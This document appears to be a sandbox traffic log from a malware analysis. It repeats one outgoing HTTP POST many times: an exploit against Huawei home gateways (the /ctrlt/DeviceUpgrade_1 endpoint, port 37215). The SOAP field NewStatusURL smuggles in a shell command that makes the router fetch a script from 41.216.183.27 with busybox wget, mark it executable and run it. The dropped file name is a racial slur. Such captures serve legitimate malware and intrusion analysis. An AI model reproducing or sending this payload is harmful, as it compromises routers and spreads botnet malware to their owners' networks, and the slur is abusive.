Feb 19, 2024 18:37:21.413052082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	51176	31.136.88.9	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.683027983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.262852907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.382725954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.814410925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.421740055 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.380568981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.554053068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.413052082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	57368	31.200.96.189	37215

Timestamp	Bytes transferred	Direction	Data
